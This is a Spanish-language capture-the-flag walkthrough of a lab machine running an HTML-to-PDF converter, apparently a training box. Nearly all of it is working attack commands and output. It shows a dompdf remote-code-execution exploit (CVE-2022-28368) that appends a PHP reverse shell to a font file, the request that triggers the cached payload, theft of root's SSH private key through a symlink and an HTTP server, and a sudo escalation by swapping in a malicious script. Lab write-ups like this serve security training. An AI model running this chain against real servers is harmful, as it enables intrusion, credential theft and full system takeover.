Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.15
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.15
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-16 14:18 -04
Nmap scan report for 192.168.1.15
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 d8:7a:1e:74:a2:1a:40:74:91:1f:81:9b:05:7c:9a:f6 (ECDSA)
|_ 256 28:9f:f8:ce:7b:5d:e1:a7:fa:23:c1:fe:00:ee:63:24 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: HTML to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.53 secondsEl sitio es un conversor de HTML a PDF (usa dompdf), vulnerable a RCE (CVE-2022-28368) mediante un @font-face malicioso. Preparamos una fuente con el payload PHP incrustado y el CSS/HTML que la referencia (siguiendo esta nota):
❯ cp /usr/share/fonts/noto/NotoSansEthiopic-Regular.ttf ./pwned.php
❯ cat one_liner.txt
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.1.3/1234 0>&1'"); ?>
❯ cat one_liner.txt >> pwned.php❯ cat pwned.css
@font-face {
font-family: 'pwned';
src: url('http://192.168.1.3:8000/pwned.php');
font-weight: 'normal';
font-style: 'normal';
}
❯ cat pwned.html
<link rel=stylesheet href='http://192.168.1.3:8000/pwned.css'>Servimos los archivos y enviamos la URL de nuestro HTML al formulario de conversión:
❯ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...http://192.168.1.3:8000/pwned.html
192.168.1.15 - - [16/Apr/2024 20:01:09] "GET /pwned.html HTTP/1.1" 200 -
192.168.1.15 - - [16/Apr/2024 20:01:09] "GET /pwned.css HTTP/1.1" 200 -
192.168.1.15 - - [16/Apr/2024 20:01:09] "GET /pwned.php HTTP/1.1" 200 -dompdf cachea la fuente con un nombre basado en el MD5 de la URL, así que lo calculamos y solicitamos el .php cacheado para ejecutar el payload:
❯ echo -n http://192.168.1.3:8000/pwned.php | md5sum
4e5abba41136540b5ca404faf1c7367f -
❯ curl http://192.168.1.15/dompdf/lib/fonts/pwned_normal_4e5abba41136540b5ca404faf1c7367f.php
❯ ncat -nlvp 1234
eva@convert:/var/www/html/dompdf/lib/fonts$Obtenemos una shell como eva y la primera flag. Revisamos sudo -l:
eva@convert:~$ sudo -l
Matching Defaults entries for eva on convert:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User eva may run the following commands on convert:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /home/eva/pdfgen.py *Tenemos dos caminos. Camino 1 — usar el conversor para leer la id_rsa de root vía un enlace simbólico:
eva@convert:~$ ln -s /root/.ssh/id_rsa root
eva@convert:~$ sudo /usr/bin/python3 /home/eva/pdfgen.py -U root -O /tmp/id_rsa_rooteva@convert:/tmp$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.1.3 - - [17/Apr/2024 06:10:45] "GET /id_rsa_root HTTP/1.1" 200 -
❯ ssh root@192.168.1.15 -i id_rsa_root
root@convert:~#Camino 2 — reemplazar pdfgen.py por uno malicioso (es escribible porque está en nuestro home):
eva@convert:/tmp$ cat pdfgen.py
import os
os.system("/bin/bash")
eva@convert:~$ rm pdfgen.py
eva@convert:~$ cp /tmp/pdfgen.py .
eva@convert:~$ sudo /usr/bin/python3 /home/eva/pdfgen.py *
root@convert:/home/eva#Obtenemos nuestra flag.
Fin.